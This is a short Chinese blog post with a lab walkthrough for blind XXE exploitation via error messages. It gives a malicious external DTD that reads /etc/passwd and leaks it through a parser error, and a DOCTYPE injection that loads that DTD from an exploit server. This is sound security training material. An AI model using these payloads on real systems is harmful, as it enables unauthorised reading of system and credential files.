Lab: Exploiting blind XXE to retrieve data via error messages:利用盲XXE通过错误消息检索数据

该实验室具有“检查库存”功能,可解析 XML 输入但不显示结果。

要解决该实验,请使用外部 DTD 触发显示/etc/passwd文件内容的错误消息。

该实验室包含指向不同域上的漏洞利用服务器的链接,您可以在其中托管恶意 DTD。

  • 单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上: 导入时,此页面会将其内容读入/etc/passwdfile实体,然后尝试在文件路径中使用该实体。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

  • 单击“查看漏洞利用”并记下恶意 DTD 的 URL。
  • 您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,并在 Burp Suite 中拦截生成的 POST 请求。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义: 您应该看到一条包含/etc/passwd文件内容的错误消息。
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>

image

posted @ 2021-08-26 16:10  Zeker62  阅读(126)  评论(0编辑  收藏  举报